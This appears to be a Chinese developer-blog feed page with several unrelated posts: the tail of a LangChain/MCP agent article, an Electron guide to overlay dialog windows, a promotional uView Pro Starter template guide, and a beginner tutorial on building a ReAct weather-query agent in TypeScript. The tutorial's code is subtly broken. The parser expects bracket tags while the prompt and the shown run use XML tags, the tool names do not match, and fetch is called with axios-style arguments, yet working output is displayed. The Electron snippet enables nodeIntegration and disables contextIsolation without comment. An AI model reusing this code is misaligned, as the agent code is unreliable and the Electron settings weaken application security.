  apiKey: process.env.DEEPSEEK_API_KEY,
});

+ const loadCustomMcp = async () => {
+    const client = new MultiServerMCPClient(mcpConfig.mcpServers);
+    const tools = await client.getTools();
+     return tools;
+ };

+ const tools = [...allTools, taskTool, ...(await loadCustomMcp())];

// 基于 LangChain createAgent 构建 Agent
const agent = createAgent({
  model,
  tools,
  systemPrompt: SYSTEM_PROMPT,
  middleware: [todoListMiddleware()],
});

// CLI 入口
const args = process.argv.slice(2);
if (args.length === 0) {
  console.log("请输入指令");
  process.exit(1);
}


const result = await agent.invoke(
  {
    messages: [
      {
        role: "user",
        content: args[0],
      },
    ],
  },
  { recursionLimit: 100 },
);

// 输出最后一条消息
const lastMsg = result.messages[result.messages.length - 1];
console.log(lastMsg.content);

可以配置一个任何 MCP 来验证(比如我用的高德地图 MCP)

3.5. 优化 Prompt

Prompt 看起来好像没有什么技术含量,但是实际上非常关键,并且由于不存在幂等性,难以标准化。所以我们直接参考 Claude

里面包含了各种细节,包括不限于什么时候应该调用什么工具、如何遵循规范...

通过查看 Claude 的 Prompt,还可以非常直观的发现 mca 距离一个完善的 Coding Agent 差多远(也推荐大家找专门逆向 Claude 的文章来学习)

  • 网络搜索
  • 长记忆
  • 适配不同情况的 Sub Agent
  • Plan 模式
  • 像用户提问获取必要信息
  • ...

4. 结语

尽管当前许多AI工具已经实现了「开箱即用」的便捷性,但对于程序员而言,深入理解这些工具背后的原理,无疑能够更加高效和灵活地运用它们。

Electron主窗口弹框被WebContentView遮挡?独立WebContentView弹框方案详解!

2026年3月2日 14:48

Electron弹框被WebContentView遮挡?独立弹框层解决方案

针对 《Electron 实战全解析:基于 WebContentView 的多视图管理系统》 评论区的问题:子窗口嵌入到主窗口的某个区域,如果主窗口有一个全局弹窗,是在主渲染进程里面打开的,就无法覆盖这个子窗口。

问题根源:为什么DOM弹框会被WebView遮挡?

在Electron应用中,如果你在主窗口内嵌了多个WebContentsView,可能会遇到这样的问题:

// 主窗口中的DOM弹框
<el-dialog v-model="visible" :append-to-body="true">
  <!-- 内容 -->
</el-dialog>

无论你把z-index设得多高,这个弹框都可能被webview遮挡。原因很简单:

WebView在Electron中处于独立的合成层级,不完全遵循DOM的z-index规则。

解决方案:独立窗口覆盖层

既然DOM弹框打不过WebView,我们就换个思路:用一个独立的BrowserWindow作为弹框承载层

核心思想

主窗口 (MainWindow)
├── WebView A (业务页面)
├── WebView B (第三方应用)
└── [问题:DOM弹框被遮挡]

解决方案:
主窗口 (MainWindow)
├── WebView A
├── WebView B
└── 独立弹框窗口 (DialogWindow) ← 永远在最顶层

架构设计

1. DialogWindowManager:透明无框覆盖层

// DialogWindowManager.js
createDialogWindow() {
  const dialogConfig = {
    parent: this.mainWindow,      // 父子窗口关系
    transparent: true,            // 透明背景
    frame: false,                 // 无边框
    skipTaskbar: true,            // 不在任务栏显示
    resizable: false,             // 尺寸由主窗口控制
    webPreferences: {
      nodeIntegration: true,
      contextIsolation: false
    }
  };

  this.dialogWindow = new BrowserWindow(dialogConfig);
}

关键配置说明

  • parent: mainWindow:建立父子关系,弹框窗口随主窗口移动
  • transparent: true + frame: false:完全透明,用户感觉不到是独立窗口
  • skipTaskbar: true:不在任务栏显示,保持"弹框"的错觉

2. 实时位置联动

弹框窗口需要与主窗口保持同步:

resize() {
  // 获取主窗口内容区坐标
  const { x, y } = this.mainWindow.getContentBounds();

  // 设置弹框窗口位置和大小
  this.dialogWindow.setContentBounds({
    x, y,
    width: this.size.width,
    height: this.size.height
  }, true);
}

这样,无论主窗口如何移动、缩放,弹框窗口都能完美对齐。

实现细节

1. 弹框类型驱动

通过URL参数传递弹框类型和参数:

showDialog(dialogType, params) {
  const query = new URLSearchParams({
    dialog: dialogType,
    ...params
  }).toString();

  const url = `${dialogUrl}?${query}`;
  this.dialogWindow.loadURL(url);
}

2. 动态组件加载

弹框窗口使用Vue3动态组件:

<!-- App.vue -->
<script setup>
import { ref, onMounted } from 'vue';

const currentDialogType = ref('');
const loadedComponent = ref('');

// 组件映射表
const dialogComMap = {
  preferences: 'Preferences',
  setting: 'Setting',
  confirm: 'ConfirmDialog'
};

const loadDialogComponent = async () => {
  const componentName = dialogComMap[currentDialogType.value];
  if (componentName) {
    // 动态导入组件
    const module = await import(`../components/${componentName}.vue`);
    loadedComponent.value = componentName;
  }
};

onMounted(() => {
  // 从URL参数获取弹框类型
  const params = new URLSearchParams(window.location.search);
  currentDialogType.value = params.get('dialog') || '';
  loadDialogComponent();
});
</script>

<template>
  <component :is="loadedComponent" />
</template>

3. 双向通信桥接

弹框 → 主窗口
// dialogBridge.js
sendToMain(action, payload) {
  const message = {
    action,
    payload,
    dialogType: this.currentDialogType  // 告知主进程我是谁
  };
  ipcRenderer.send('dialog-to-main', message);
}
主窗口 → 弹框
// mainBridge.js
setupDialogListener() {
  ipcRenderer.on('dialog-message', (event, data) => {
    this.handleDialogMessage(data);
  });
}

handleDialogMessage(data) {
  const { action, payload } = data;
  switch (action) {
    case 'UPDATE_SETTINGS':
      this.updateSettings(payload);
      break;
    case 'CLOSE_DIALOG':
      this.closeDialog(payload.dialogType);
      break;
  }
}

完整工作流程

打开弹框

sequenceDiagram
    participant Main as 主窗口
    participant Process as 主进程
    participant Dialog as 弹框窗口

    Main->>Process: showDialog('preferences', params)
    Process->>Dialog: 创建窗口 + loadURL(?dialog=preferences)
    Dialog->>Dialog: 解析URL,加载Preferences组件
    Dialog-->>Main: 弹框显示完成

关闭弹框

sequenceDiagram
    participant Dialog as 弹框窗口
    participant Process as 主进程
    participant Main as 主窗口

    Dialog->>Process: dialog-to-main(CLOSE_DIALOG)
    Process->>Main: 转发消息
    Main->>Process: close-modal-dialog
    Process->>Dialog: 隐藏/关闭窗口

工程配置

独立构建入口

// webpack.renderer.dialog.config.js
module.exports = {
  entry: './src/renderer/views/dialog/main.js',
  output: {
    path: 'dist/electron/renderer/views/dialog',
    filename: 'dialog.js'
  }
};

主窗口构建配置

// webpack.renderer.main.config.js  
module.exports = {
  entry: './src/renderer/main.js',
  output: {
    path: 'dist/electron/renderer',
    filename: 'main.js'
  }
};

解决的问题 vs 付出的代价

✅ 解决的问题

  1. 彻底解决遮挡问题:独立窗口永远在最顶层
  2. 视觉体验一致:通过位置联动,用户感觉不到是独立窗口
  3. 模块化设计:弹框组件独立打包,不增加主包体积
  4. 类型安全:完整的TypeScript支持

⚠️ 付出的代价

  1. 复杂度增加:需要维护多窗口、多进程通信
  2. 状态同步:弹框窗口需要独立初始化store、i18n等
  3. 调试困难:问题可能出现在三个地方(主进程、主窗口、弹框窗口)

实战代码示例

在主窗口中调用弹框

// 打开设置弹框
import { dialogService } from './services/dialog';

const openSettings = async () => {
  const result = await dialogService.showDialog('preferences', {
    theme: 'dark',
    language: 'zh-CN'
  });

  if (result.confirmed) {
    // 用户点击了确定
    applySettings(result.data);
  }
};

自定义弹框组件

<!-- Preferences.vue -->
<template>
  <div class="preferences-dialog">
    <h3>系统设置</h3>

    <div class="form-item">
      <label>主题</label>
      <select v-model="theme">
        <option value="light">浅色</option>
        <option value="dark">深色</option>
      </select>
    </div>

    <div class="actions">
      <button @click="handleSave">保存</button>
      <button @click="handleCancel">取消</button>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue';
import { dialogBridge } from '../utils/dialogBridge';

const theme = ref('light');

const handleSave = () => {
  dialogBridge.sendToMain('UPDATE_SETTINGS', {
    theme: theme.value
  });
  dialogBridge.closeDialog();
};

const handleCancel = () => {
  dialogBridge.closeDialog();
};
</script>

可优化性能建议

  1. 窗口复用:不要频繁创建/销毁窗口,使用show()/hide()
  2. 组件懒加载:弹框组件按需加载,减少初始包体积
  3. 通信优化:使用批量更新,减少IPC调用次数
  4. 内存管理:及时清理不用的弹框组件引用

总结

DialogWindowManager方案的核心价值在于:

用操作系统级的窗口层级,解决渲染层级的限制问题。

这个方案虽然增加了一些复杂度,但对于需要内嵌多个WebView的Electron应用来说,是解决弹框遮挡问题的终极方案。

如果你的应用也遇到了类似问题,不妨试试这个架构。它已经在我的多个生产环境项目中验证,稳定可靠。


相关阅读

有任何问题欢迎在评论区提问。

🔥2026最推荐的跨平台方案:H5/小程序/App/鸿蒙,一套代码搞定

2026年3月2日 14:36

前言

从零开始搭建一个鸿蒙开发项目需要多久?配置路由、状态管理、HTTP 拦截、国际化... 这些准备工作可能就要花掉你一整天。而现在,uView Pro Starter 这个开源项目可以让你 5 分钟内进入业务开发,真正的「开箱即用」。

并且通过 uView Pro Starter,你可以在 5 分钟内搭建一个鸿蒙应用架构,完全可以做到 零代码零配置零学习成本

我已经使用 uView Pro Starter,上架了一款鸿蒙应用:

项目预览图

点击查看:uViewPro(跨平台UI组件库),可以沉浸式体验应用内部功能。

接下来让我们了解一下 uView Pro Starter 快速启动项目的具体使用。

🎯 一、为什么你需要这个快速启动项目?

1.1 鸿蒙开发的「起步困境」

作为一名 uni-app 开发者,当你准备开发鸿蒙应用时,是否遇到过以下困扰:

  • 环境配置复杂:Node.js 版本、pnpm、HBuilderX... 光是环境配置就要折腾半天
  • 项目结构混乱:不知道如何组织代码,路由、状态管理、API 层一团糟
  • 功能重复造轮子:HTTP 拦截器、主题切换、多语言... 每个项目都要写一遍
  • 文档不完善:遇到问题不知道去哪找答案,踩坑全靠猜

想象一下这样的场景:

  • 🎨 老板要求三天内出一个鸿蒙应用 Demo
  • 🌙 产品经理要求支持暗黑模式和多语言
  • 🔧 你的代码还停留在「如何创建项目」的阶段

这些问题,uView Pro Starter 都能帮你解决!

1.2 什么是 uView Pro Starter?

uView Pro Starter 是一个基于 uView Pro + Vite + UnoCSS 搭建的 uni-app 快速启动项目,专为鸿蒙+多平台开发量身定制。

image.png

核心定位:让开发者专注于业务逻辑,而不是重复的配置工作

这个项目不仅仅是一个空架子,它是一个生产级的启动模板,包含了你开发鸿蒙应用所需的一切。

🛠️ 二、项目核心特性

2.1 跨平台开发 - 一套代码,多端运行

使用 uView Pro Starter 开发的应用,支持同时编译到:

平台 支持情况 说明
HarmonyOS ✅ 完美支持 华为鸿蒙系统
H5 ✅ 完美支持 浏览器直接访问
微信小程序 ✅ 完美支持 微信扫码体验
支付宝小程序 ✅ 完美支持 支付宝扫码体验
App (Android/iOS) ✅ 完美支持 原生应用体验
# 运行命令
pnpm run dev:h5      # H5 开发
pnpm run dev:mp-weixin  # 微信小程序
pnpm run dev:app     # App 开发
pnpm run build:app   # App 构建

真正实现「一次开发,多端部署」,让你的代码复用率可达 90%+

2.2 多主题系统 - 一键换肤

项目内置了完整的多主题支持,包含:

  • 亮色/深色双主题:跟随系统或手动切换
  • 4 套预设主题:默认蓝、霞光紫、清翠绿、暖阳橙
  • 自定义主题:支持智能推断主题色,3 分钟生成多种主题
  • 即时生效:切换主题无需刷新页面
// 主题切换示例
import { useTheme } from 'uview-pro'

const { darkMode, setTheme, toggleDarkMode } = useTheme()

// 切换主题
setTheme('green')

// 切换暗黑模式
toggleDarkMode()

主题切换

2.3 国际化 i18n - 全球化支持

基于 vue-i18n 实现的多语言支持:

  • 中英文切换:内置中文、英文语言包
  • 动态切换:运行时即时切换,无需重启
  • 组件级支持:所有 uView Pro 组件自动适配
  • 持久化:用户选择自动保存
// 语言切换
import { useLang } from '@/hooks/useLang'

const { switchLang, currentLang } = useLang()

// 切换到英文
switchLang('en-US')

2.4 状态管理 - Pinia + 持久化

集成 Pinia 状态管理库,配合持久化插件:

// stores/user.ts
import { defineStore } from 'pinia'
import { ref } from 'vue'

export const useUserStore = defineStore('user', () => {
  const userInfo = ref({})
  const isLogin = ref(false)

  async function login(credentials: any) {
    // 登录逻辑
  }

  function logout() {
    // 登出逻辑
  }

  return { userInfo, isLogin, login, logout }
}, {
  persist: true  // 启用持久化
})

特性亮点

  • 🎯 Setup Store 风格,代码更简洁
  • 💾 自动持久化,刷新不丢失
  • 🔄 完整的 TypeScript 支持
  • 📦 模块化组织,易于维护

2.5 HTTP 请求 - 开箱即用

集成 uView Pro HTTP 模块,提供完整的请求方案:

import { http } from 'uview-pro'

// GET 请求
const res = await http.get('/api/users')

// POST 请求
const res = await http.post('/api/users', {
  name: '张三',
  email: 'zhangsan@example.com'
})

内置功能

  • ✅ 请求/响应拦截器
  • ✅ Loading 提示自动显示
  • ✅ Toast 错误提示
  • ✅ 401 自动跳转登录
  • ✅ Token 自动携带

2.6 TypeScript 支持 - 类型安全

项目采用 TypeScript 开发,享受:

  • 💪 完整的类型定义
  • 🔍 编译时类型检查
  • 🎯 智能代码提示
  • 🔄 安全重构
// 类型示例
interface UserInfo {
  id: string
  name: string
  avatar: string
  email: string
}

const userInfo = ref<UserInfo>({
  id: '',
  name: '',
  avatar: '',
  email: ''
})

🏗️ 三、项目结构

3.1 清晰目录组织

uview-pro-starter/
├── pages/              # 页面目录(主要开发目录)
│   ├── home/          # 首页模块
│   └── about/         # 关于模块
├── components/        # 组件目录
├── stores/            # Pinia 状态管理
│   ├── counter.ts     # 计数器 store
│   └── user.ts        # 用户 store
├── locale/            # 国际化配置
│   └── lang/
│       ├── en-US.json    # 英文语言包
│       └── zh-CN.json   # 简体中文语言包
├── common/            # 公共配置和工具
│   ├── http.interceptor.ts  # HTTP 拦截器
│   ├── uview-pro.theme.ts   # 主题配置
│   └── constant.ts    # 常量定义
├── hooks/             # 组合式函数
├── pages.json         # 路由配置
├── manifest.json      # 应用配置
├── theme.json         # 应用主题色配置
├── App.vue            # 根组件
├── main.ts            # 入口文件
└── uni.scss           # 全局样式

3.2 技术栈版本

技术 版本 说明
uni-app 4.87 跨平台开发框架
Vue 3.4.21 前端框架
TypeScript ^5.9.3 类型检查语言
uView Pro latest UI 组件库
Pinia 2.2.4 状态管理库
vue-i18n 9.1.9 国际化解决方案
UnoCSS 66.0.0 原子化 CSS 引擎
Vite 5.2.8 构建工具

🚀 四、快速开始

4.1 环境要求

工具 版本 说明
Node.js 16+ JavaScript 运行时
pnpm 9+ 包管理工具(推荐)
HBuilderX 3.8+ uni-app 开发工具(可选)

4.2 获取项目

方式一:直接克隆(推荐)

通过 Git 命令克隆项目

git clone https://github.com/anyup/uView-Pro-Starter.git
cd uView-Pro-Starter

方式二:使用 create-uni 脚手架

通过 create-uni 脚手架创建项目

pnpm create uni <项目名称> -t uview-pro-starter

方式三:下载 ZIP

通过 ZIP 下载项目

GitHub Releases 下载最新版本

4.3 安装依赖

# 使用 pnpm(推荐)
pnpm install

4.4 开发调试

# 运行到 H5
pnpm run dev:h5

# 运行到微信小程序
pnpm run dev:mp-weixin

# 运行到 App
pnpm run dev:app

4.5 生产构建

# 构建 H5
pnpm run build:h5

# 构建微信小程序
pnpm run build:mp-weixin

# 构建 App
pnpm run build:app

💡 五、功能模块详解

5.1 自定义 Tabbar

项目提供了自定义 Tabbar 组件,支持:

  • 🏷️ 徽章显示
  • 🔴 红点提示
  • 💾 状态持久化
  • 🎨 主题适配
<template>
  <u-tabbar 
    v-model="current" 
    :list="tabbarList" 
    :active-color="$u.color.primary" 
  />
</template>

5.2 页面布局

采用 AppPage 组件统一管理页面布局:

<template>
  <app-page show-tabbar>
    <view>页面内容</view>
  </app-page>
</template>

特性

  • 📦 自动处理安全区域
  • 🎨 主题色适配
  • 🔄 状态栏适配

5.3 主题配置

编辑 src/theme.json 即可自定义主题:

{
  "light": {
    "bgColor": "#fcfcfc",
    "navBgColor": "#ff6b00",
    "tabSelectedColor": "#ff6b00"
  },
  "dark": {
    "bgColor": "#181818",
    "navBgColor": "#ff6b00",
    "tabSelectedColor": "#ff6b00"
  }
}

📱 六、实战案例:我的鸿蒙应用

6.1 应用介绍

uViewPro 鸿蒙应用 是我用 uView Pro Starter 开发的第一款鸿蒙应用,目前已成功上架华为鸿蒙应用市场!

点击下载:uViewPro(跨平台UI组件库),可以沉浸式体验应用内部功能,还可以在应用内直接查看API文档,复制源码!

动画11.gif

6.2 核心功能

这款应用包含了:

🎨 80多个组件演示

  • 基础组件:Button、Input、Icon、Image
  • 表单组件:Form、Checkbox、Radio、Picker
  • 布局组件:Layout、Grid、Card
  • 导航组件:Navbar、Tabbar、Tabs
  • 数据展示:Table、List、Swiper
  • 反馈组件:Toast、Modal、Loading

🛠️ 20多个开发工具演示

  • 颜色工具:颜色选择器、主题生成器
  • HTTP 工具:请求测试、接口调试
  • 规则校验:表单验证、数据校验

工具模板.png

📑 10多个业务模板示例

  • 登录界面
  • 地址管理
  • 评论列表
  • 个人中心
  • 设置页

🎮 游戏化学习

  • 任务系统
  • 成就系统
  • 体验地图

体验地图.png

🌙 完整暗黑模式

  • 自动跟随系统
  • 手动切换
  • 即时生效

暗黑模式.png

6.3 开发效率提升

使用 uView Pro Starter 开发这个应用,可以感受到:

维度 提升幅度
项目初始化 从 2 小时 → 5 分钟
环境配置时间 从 1 天 → 30 分钟
功能开发速度 提升 3-5 倍
代码复用率 达到 90%+

🎯 七、适用场景

7.1 谁应该使用?

人群 收益
uni-app 开发者 快速启动项目,减少重复配置
Vue 3 开发者 学习跨平台开发最佳实践
鸿蒙开发者 获取现成的项目模板
创业团队 缩短开发周期,快速迭代
个人开发者 专注业务,不用造轮子

7.2 典型使用场景

  • 🎯 企业级鸿蒙应用开发
  • 📱 多端兼容项目初始化
  • 🚀 快速原型验证
  • 📚 学习 uni-app 最佳实践

🔧 八、自定义与扩展

8.1 删除不需要的功能

这是一个可定制化的项目,你可以根据需要删除:

功能 删除方法
多语言 删除 locale 目录
Pinia 删除 stores 目录
某个页面 删除对应页面文件
主题 修改 theme.json

8.2 如何添加新功能

项目结构清晰,添加新功能非常简单:

  1. 添加页面:在 pages/ 创建目录,添加到 pages.json
  2. 添加 Store:在 stores/ 创建文件
  3. 添加组件:在 components/ 创建文件
  4. 添加 API:在 src/api/ 创建文件

🎉 九、总结

uView Pro Starter 是一个专注于快速开发的开源项目,它解决了鸿蒙应用开发中的「起步难」问题。不止鸿蒙,它是基于 uView Pro 搭建的 uni-app 快速启动项目,一套代码全面兼容 H5、小程序、Android、iOS、鸿蒙多端:

开箱即用:项目结构清晰,配置完善
功能丰富:状态管理、HTTP 拦截、国际化、主题切换...
TypeScript 支持:类型安全,代码提示
多端兼容:H5、小程序、App 一键切换
持续维护:作者亲自维护,问题快速响应

如果你正准备开发鸿蒙应用,或者想要一个高质量的多平台开发 uni-app 启动模板,uView Pro Starter 是你的最佳选择!

📚 学习资源

从零构建一个 Mini Claude Code:面向初学者的 Agent 开发实战指南

作者 mCell
2026年3月2日 14:13

202624

本次课程相关链接:

源代码仓库:mini-claude-code

Issues 风格教案(本文总结自此):mini-claude-code/issues

Mini Claude Code: mini-claude-code

Vercel AI SDK 快速上手:Vercel AI SDK 最小用法

Memo Code:Github/minorcell/memo-code

这篇文章源自前两天我做的一次 Agent 开发实战公开课。面向零基础讲清楚"Agent 是什么"比写代码本身难得多——你不能一上来就甩论文,也不能全程只讲故事。

最终的效果还不错,至少最后同学们人手一个能跑起来的Mini Claude Code。本文把整个教学内容重新整理成这篇博客,方便没去现场的朋友回顾,也给想自己动手的朋友们一个完整的指引。

课程目标

在开始之前,先明确一下我们希望达成的学习目标:

  • 理解为什么 Agent 可以做事情,而 ChatBot 不能
  • 听得懂 ReAct 与 Agent 的基本架构
  • 能跑通最小 TypeScript Agent(天气查询 和 Mini Claude Code)
  • 带走工程落地的实际经验

这四个目标也是我们整篇文章的脉络。接下来逐一展开。

为什么 Agent 和 ChatBot 不一样?

202629

这是个关键问题。澄清了这个,后面很多东西就自然通了。

Agents 的例子

先来看一些 Agent 的实际例子:

  • 春节期间的千问:"帮我点一杯奶茶"
  • Manus:"帮我做一个个人博客网站"
  • Claude Code CLI / Cursor IDE:"帮我修复这个 Bug..."
  • OpenClaw:"帮我整理一下谷歌邮件"
  • ......

可以看到明显的几个共同点:

  1. Agent 能做事情
  2. Agent 能持续执行任务,直到完成目标
  3. Agent 能和外部系统交互

从 ChatBot 到 Agent 的演进

早期大模型产品,最经典的是 ChatGPT 的网页版本。用户输入提示词,ChatGPT 回复一段文字,这就是"ChatBot"。那时候它可以短暂记住前后说了什么

比较有意思的是,如果你告诉大模型,让它扮演什么角色、能干什么、不能干什么,它确实会这么做,比如:

  • "你是一个小红书博主,你的核心工作是...."
  • "你是一个资深的 Web 前端高手,....."

后来,网页版的 ChatGPT 又支持了查询天气、支持网络搜索。比如:"明日上海天气如何?",它便会去查询上海的天气,然后告诉你它查到的结果,并且是用自然语言回复(而不是天气查询接口的原始 JSON 输出):"明天上海天气晴朗,气温约在 16-23 摄氏度,可以穿卫衣出行~"。

三个关键要素

其实到这里就已经不是简单的 ChatBot 了,而是"Agent"。用技术术语来说,这三个要素构成了 LLM-based Agent 的最小 viable architecture(最小可行架构)

用户感知 技术术语 技术本质
记住前后说了什么 上下文窗口对话状态管理 维护一个消息数组,包含 system/user/assistant/tool 角色的历史消息,作为模型的输入上下文
扮演什么角色、能干什么 系统提示词角色注入 在请求体最前端的 system 消息中定义行为边界、能力范围、输出格式约束,通过 Prompt Engineering 对齐模型行为
查询上海的天气 工具调用外部能力扩展 模型生成结构化输出(JSON/XML)触发外部 API,将结果以 tool/function 角色回注上下文

怎么实现的?比较成熟的一种方式是 ReAct

时至今日,Agent 开发范式不止 ReAct 一种。Plan-and-ExecuteFunction/Tool Calling + Loop(ReAct Like) 等多种模式也有较多的应用。但 ReAct 是最经典、最容易理解的一种,非常适合作为入门。

ReAct——让模型"边想边做"

ReActReasoning + Acting)是 Agent 架构的一种核心范式。它不再是大模型单次输入输出的"问答",而是一个**"观察 → 思考 → 行动 → 再观察"**的循环过程。

一个例子

想象你让 Manus "帮我做一个个人博客网站"。如果是传统 ChatBot,它会给你一段代码和教程,然后结束对话,你需要手动复制粘贴代码到本地测试,有问题之后再把错误发给它,让它再次修复。

但 ReAct 模式下,Agent 会这样执行:

[思考 Thought]
用户需要一个博客网站,需求是:简洁风格、支持 Markdown、部署到线上。
我需要:1) 先创建项目结构 2) 编写 HTML/CSS  3) 添加交互逻辑  4) 部署到服务器。
第一步应该是初始化 Next.js 项目。

[行动 Action]
执行 shell 命令:
px create-next-app@latest my-blog --typescript --tailwind

[观察 Observation]
命令执行成功,项目目录已创建,但终端提示需要安装依赖。

[思考 Thought]
依赖安装是下一步,然后我需要创建首页组件。等等,用户要求简洁风格,我应该先查看默认生成的文件结构,决定保留哪些。

[行动 Action]
执行:cd my-blog && ls -la(查看目录结构)

...(循环继续,直到网站部署完成)

技术实现:控制流的转移

不难看出,ReAct 的关键在于控制流从我们转移到了模型:

阶段 控制方 交互方式
ChatBot 人类 人问 → 模型答 → 人决定下一步
ReAct Agent 模型 模型观察 → 模型决策 → 模型自主执行 → 模型根据反馈调整

具体实现时,一个简单的 Agent 系统提示词可能会包含这样的指令框架:

你是一个xxx的助手。
...
你可以使用以下工具:[文件操作、命令执行、网络搜索...]

每次回复必须遵循以下格式:
<observation>当前环境状态/工具返回结果</observation>
<thought>分析当前状况,决定下一步行动</thought>
<action>{"tool": "tool_name", "params": {...}}</action>

当模型输出 <action> 时,Agent 框架(如 Claude Code CLI 的运行时)会解析这段 JSON,实际调用对应的工具(落地到代码就是执行一段函数),然后将工具返回的结果以 <observation> 的形式重新注入上下文,再次请求模型,形成闭环。

为什么这能实现"持续执行"?

自我修正能力:如果某一步行动报错(比如代码编译失败),这个错误会作为新的 Observation 回到模型,模型会在 Thought 中分析错误原因,调整 Action(比如修改代码),而不是像 ChatBot 那样等待用户手动修复。

任务分解:面对"帮我修复这个 Bug"这样的复杂指令,模型会在 Thought 中自动拆解:先定位文件 → 阅读相关代码 → 理解逻辑 → 修改 → 测试验证,而不是一次性尝试解决(那样往往失败)。

状态持久:每一轮循环的 Observation 和 Thought 都追加到上下文中,Agent 不会"遗忘"已经完成的步骤(比如已经创建了哪个文件、修改了哪行代码),确保任务连续性。

这正是早期 ChatBot 与现在 Agent 的本质区别:前者是"一次性建议",后者是"闭环执行"

ReAct Agent 最小架构

202628

把上面的东西组装起来,Agent 的最小架构可以用一个公式概括:

Agent = ReAct + Tools + UI

或者更详细点:

Agent = ReAct(LLM + Context(System + User + LLM + Tool)) + Tools + UI
  • UI:用户交互界面,CLI、Web、APP 都行
  • Tools:让 Agent 支持哪些功能,就需要对应的工具支持
  • ReAct:如上文所说,它核心是个 Loop 循环

注解: LLM: 大模型本身,作为整个 Agent 的"脑子" System:系统提示词,通常包含基础提示词、人格设定、工具使用指南等

一个最小可行的 Agent 便是如此。

最小 Agent 实战——天气查询(Bun + TypeScript)

202627

光说不练假把式。我们来动手做一个最小的 Agent。

项目初始化

用 Bun + TypeScript,零依赖:

mkdir agent-loop && cd agent-loop
bun init -y
bun add axios

完整的项目结构如下:

agent-loop/
├── main.ts      # 核心 Agent Loop
├── tools.ts     # 工具定义
├── prompt.md    # 系统提示词
└── package.json

工具定义(tools.ts)

首先定义两个最小集的工具:获取当前时间和查询天气。

// tools.ts
export type ToolName = 'getCurrentTime' | 'getWeather'

export const TOOLKIT: Record<ToolName, (input: string) => Promise<string>> = {
  getCurrentTime: async () => {
    return new Date().toISOString()
  },

  getWeather: async (input: string) => {
    // 解析城市名称(简单粗暴,实际项目请用更好的解析)
    const city = input.trim()
    // 这里调用免费的天气 API,实际使用请替换为真实的 API
    try {
      const response = await fetch(`https://wttr.in/${city}?format=j1`)
      const data = await response.json()
      const current = data.current_condition[0]
      return `${city} 当前天气:${current.weatherDesc[0].value},温度 ${current.temp_C}°C`
    } catch {
      return `无法获取 ${city} 的天气,请检查城市名称是否正确。`
    }
  },
}

系统提示词(prompt.md)

系统提示词告诉模型如何使用这两个工具,以及输出的格式要求。

你是天气查询的工具型助手,回答要简洁。
可用工具(action 的 tool 属性需与下列名称一致):

- getTime: 返回当前 time 字符串,参数为空。
- getWeather: 返回模拟天气信息字符串,参数为 JSON,如 {"city":"上海","time":"2026-02-27 10:00"}。

回复格式(严格使用 XML,小写标签):
<thought>对问题的简短思考</thought>
<action tool="工具名">工具输入</action> <!-- 若需要工具 -->
等待 <observation> 后再继续思考。
如果已可直接回答,则输出:
<final>最终回答(中文,必要时引用数据来源)</final>

规则:

- 每次仅调用一个工具;工具输入要尽量具体。
- 当用户只问“现在几点”时,优先调用 getTime。
- 查询天气时,必须调用 getWeather,并提供 city 和 time 两个字段。
- 如果拿到 observation 后有了答案,应输出 <final> 而不是重复调用。
- 未知工具时要说明,但仍用 XML 格式。
- 避免幻觉,不确定时请说明。

核心 Loop 代码(main.ts)

这是整个 Agent 的核心——40 行代码实现 ReAct 循环。

// main.ts
import { TOOLKIT, type ToolName } from './tools'

interface ChatMessage {
  role: 'system' | 'user' | 'assistant'
  content: string
}

// 解析模型输出,提取工具调用或最终回答
function parseAssistant(text: string): {
  action?: { tool: string; input: string }
  final?: string
} {
  const toolCallMatch = text.match(
    /\[TOOL_CALL\]\s*tool:\s*(\w+)\s*input:\s*(.+)/s,
  )
  if (toolCallMatch) {
    return {
      action: {
        tool: toolCallMatch[1],
        input: toolCallMatch[2].trim(),
      },
    }
  }

  const finalMatch = text.match(/\[FINAL\]\s*(.+)/s)
  if (finalMatch) {
    return { final: finalMatch[1].trim() }
  }

  return {}
}

// 调用 LLM(这里以 OpenAI 兼容接口为例)
async function callLLMs(messages: ChatMessage[]): Promise<string> {
  const response = await fetch(
    process.env.LLM_API_URL || 'https://api.deepseek.com/v1',
    'POST',
    {
      model: process.env.LLM_MODEL || 'deepseek-chat',
      messages,
      temperature: 0.7,
    },
    {
      headers: {
        Authorization: `Bearer ${process.env.LLM_API_KEY}`,
        'Content-Type': 'application/json',
      },
    },
  )

  const data = await response.json()
  return data.choices[0].message.content
}

// 核心 Agent Loop
async function AgentLoop(question: string) {
  const systemPrompt = await Bun.file('prompt.md').text()

  const history: ChatMessage[] = [
    { role: 'system', content: systemPrompt },
    { role: 'user', content: question },
  ]

  for (let step = 0; step < 10; step++) {
    const assistantText = await callLLMs(history)
    console.log(`\n[LLM 第 ${step + 1} 轮输出]\n${assistantText}\n`)
    history.push({ role: 'assistant', content: assistantText })

    const parsed = parseAssistant(assistantText)
    if (parsed.final) {
      return parsed.final
    }

    if (parsed.action) {
      const toolFn = TOOLKIT[parsed.action.tool as ToolName]
      let observation: string

      if (toolFn) {
        observation = await toolFn(parsed.action.input)
      } else {
        observation = `未知工具: ${parsed.action.tool}`
      }

      console.log(`<observation>${observation}</observation>\n`)

      history.push({
        role: 'user',
        content: `<observation>${observation}</observation>`,
      })
      continue
    }

    break // 未产生 action 或 final
  }

  return '未能生成最终回答,请重试或调整问题。'
}

// 主入口
const question = process.argv[2] || '上海今天天气怎么样?'
console.log(`\n用户问题: ${question}`)
console.log('─'.repeat(50))

AgentLoop(question).then((answer) => {
  console.log('─'.repeat(50))
  console.log(`\n最终回答: ${answer}\n`)
})

运行效果

202625

➜  agent-loop git:(main) bun main.ts
用户问题: 上海现在天气如何?

[LLM 第 1 轮输出]
<thought>用户询问上海现在的天气,需要获取当前时间,然后查询天气。</thought>
<action tool="getTime">获取当前时间</action>

<observation>2026-03-02T02:41:33.898Z</observation>


[LLM 第 2 轮输出]
<thought>已获得当前时间,需要调用getWeather工具查询上海此时的天气。</thought>
<action tool="getWeather">{"city":"上海","time":"2026-03-02 02:41"}</action>

<observation>天气信息:上海 在 2026-03-02 02:41 的天气为小雨,气温 15°C,北风 1 级,湿度 43%。</observation>


[LLM 第 3 轮输出]
<final>上海现在(2026-03-02 02:41)的天气为小雨,气温15°C,北风1级,湿度43%。</final>


=== 最终回答 ===
上海现在(2026-03-02 02:41)的天气为小雨,气温15°C,北风1级,湿度43%。
➜  agent-loop git:(main)

代码解读

这个 40 行的核心循环其实很简单:

  1. 加载系统提示词——从 prompt.md 文件读取
  2. 维护一个 history 消息数组——作为 Agent 的上下文记忆
  3. 循环最多 10 轮
